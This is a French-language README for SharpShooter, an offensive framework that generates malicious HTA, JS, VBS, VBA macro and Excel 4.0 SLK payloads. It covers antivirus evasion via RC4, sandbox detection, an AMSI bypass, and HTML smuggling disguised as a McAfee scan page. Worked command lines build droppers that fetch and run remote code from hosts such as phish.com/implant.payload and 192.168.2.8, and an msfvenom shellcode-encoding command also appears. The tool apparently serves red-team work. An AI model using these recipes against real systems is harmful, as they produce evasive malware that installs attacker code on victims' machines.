
Framework de génération de payloads
/ // / ____ __________ / // / ____ ____ / / _____
__ / __ / __ `/ / __ \ / __ / __ / __ / __/ _ / /
__/ / / / / // / / / // // / / / / // / // / // / /
/// //_,// / ./// //_/_/_/___//
/_/
SharpShooter est un framework de création de payload pour la récupération et l'exécution de code source CSharp arbitraire. SharpShooter est capable de créer des payloads dans une variété de formats, notamment HTA, JS, VBS et WSF. Il utilise l'outil DotNetToJavaScript de James Forshaw pour invoquer des méthodes depuis l'objet sérialisé DotNet de SharpShooter. Les payloads peuvent être récupérés via une livraison Web ou DNS, ou les deux ; SharpShooter est compatible avec le projet MDSec ActiveBreach PowerDNS. Alternativement, des payloads sans étape avec exécution de shellcode intégré peuvent également être générés pour les mêmes formats de script.
Les payloads SharpShooter sont chiffrés en RC4 avec une clé aléatoire pour offrir un contournement antivirus modeste, et le projet inclut la capacité d'intégrer la détection de sandbox et le verrouillage environnemental pour aider à échapper à la détection.
SharpShooter inclut un modèle CSharp prédéfini pour exécuter du shellcode avec des payloads avec et sans étape, mais tout code CSharp peut être compilé et invoqué en mémoire via la réflexion, grâce au fournisseur CodeDom de CSharp.
Enfin, SharpShooter offre la possibilité d'intégrer le payload dans un fichier HTML en utilisant la technique de contrebande HTML Demiguise.
SharpShooter cible les versions v2, v3 et v4 du framework .NET que l'on trouve sur la plupart des postes de travail Windows.
La version 1.0 de SharpShooter a introduit plusieurs nouveaux concepts, notamment le staging COM, l'exécution de Squiblydoo et Squiblytwo, ainsi que l'exécution XSL. Pour réaliser cette nouvelle fonctionnalité, plusieurs nouveaux drapeaux ont été ajoutés ; --com, --awl et --awlurl.
La version 2.0 de SharpShooter a ajouté le module de contournement AMSI, ainsi que le support de la génération de documents avec macros VBA et Excel 4.
Plus d'informations peuvent être trouvées sur le billet de blog MDSec.
SharpShooter est hautement configurable, prenant en charge un certain nombre de types de payloads, de contournements de sandbox, de méthodes de livraison et de types de sortie.
L'exécution de SharpShooter avec l'argument --help produira la sortie suivante :
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
[--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
[--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
[--rawscfile <path>] [--shellcode] [--scfile <path>]
[--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
[--web <web>] [--dns <dns>] [--output <output>]
[--smuggle] [--template <tpl>]
optional arguments:
-h, --help show this help message and exit
--stageless Create a stageless payload
--dotnetver <ver> Target .NET Version: 2 or 4
--com <com> COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl> Application Whitelist Bypass Technique: wmic, regsvr32
--awlurl <awlurl> URL to retrieve XSL/SCT payload
--payload <format> Payload type: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types> Anti-sandbox techniques:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--amsi <amsi> Use amsi bypass technique: amsienable
--delivery <type> Delivery method: web, dns, both
--rawscfile <path> Path to raw shellcode file for stageless payloads
--shellcode Use built in shellcode execution
--scfile <path> Path to shellcode file as CSharp byte array
--refs <refs> References required to compile custom CSharp,
e.g. mscorlib.dll,System.Windows.Forms.dll
--namespace <ns> Namespace for custom CSharp,
e.g. Foo.bar
--entrypoint <ep> Method to execute,
e.g. Main
--web <web> URI for web delivery
--dns <dns> Domain for DNS delivery
--output <output> Name of output file (e.g. maldoc)
--smuggle Smuggle file inside HTML
--template <tpl> Name of template file (e.g. mcafee)
Des exemples de certains cas d'utilisation sont fournis ci-dessous :
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
Crée un payload JavaScript sans étape ciblant la version 4 du framework .NET. Cet exemple créera un payload nommé foo.js dans le répertoire de sortie. Le shellcode est lu à partir du fichier ./raw.txt. Le payload tente d'imposer un contournement de sandbox en verrouillant l'exécution sur le domaine CONTOSO et en vérifiant la présence d'artefacts de sandbox/VM connus.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
Crée un payload HTA sans étape ciblant la version 2/3 du framework .NET. Cet exemple créera un payload nommé foo.hta dans le répertoire de sortie. Le shellcode est lu à partir du fichier ./raw.txt. Le payload tente d'imposer un contournement de sandbox en vérifiant la présence d'adresses MAC virtuelles connues. Un payload de contrebande HTML sera également généré, nommé foo.html dans le répertoire de sortie. Ce payload utilisera l'exemple de modèle de scan antivirus McAfee.
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
Cet exemple crée un payload VBS avec étape qui effectue à la fois une livraison Web et DNS. Le payload tentera de récupérer un fichier CSharp compressé en GZip qui exécute le shellcode fourni sous forme de tableau d'octets CSharp dans le fichier csharpsc.txt. Le fichier CSharp utilisé est le modèle d'exécution de shellcode intégré de SharpShooter. Le payload est créé dans le répertoire de sortie nommé foo.payload et doit être hébergé sur http://www.foo.bar/shellcode.payload. Le même fichier doit également être hébergé sur le domaine bar.foo en utilisant PowerDNS pour le servir. Le fichier VBS tentera de verrouiller l'exécution sur le domaine CONTOSO et sera intégré dans un fichier HTML en utilisant la technique de contrebande HTML avec le modèle de scan McAfee. Le payload résultant est stocké dans le répertoire de sortie nommé foo.html.
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
Cet exemple montre comment créer un payload JS avec étape qui effectue une livraison Web, récupérant un payload depuis http://www.phish.com/implant.payload. Le payload généré tentera un contournement de sandbox et tentera de compiler le payload récupéré qui nécessite mscorlib.dll et System.Windows.Forms.dll comme références DLL. La méthode Main dans l'espace de noms MDSec.SharpShooter sera exécutée en cas de succès de la compilation.
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
Cet exemple crée un stager COM intégré dans un VBS qui utilise la méthode COM Outlook.CreateObject() comme primitive pour exécuter wmic.exe afin d'exécuter une feuille de style hébergée. Le paramètre --awl n'est pas utilisé, par défaut il utilise wmic.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Cet exemple crée un fichier HTA intégré qui utilise l'interface COM XMLDOM pour récupérer et exécuter une feuille de style hébergée.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Cet exemple crée un fichier de macro VBA qui utilise l'interface COM XMLDOM pour récupérer et exécuter une feuille de style hébergée.
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
Cet exemple crée un fichier Excel 4.0 SLK qui exécute le shellcode fourni et l'enveloppe en HTML. Le shellcode ne peut pas contenir d'octets nuls, astuce :
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
Auteur : Dominic Chell, MDSec ActiveBreach @domchell et @mdseclabs
Crédits :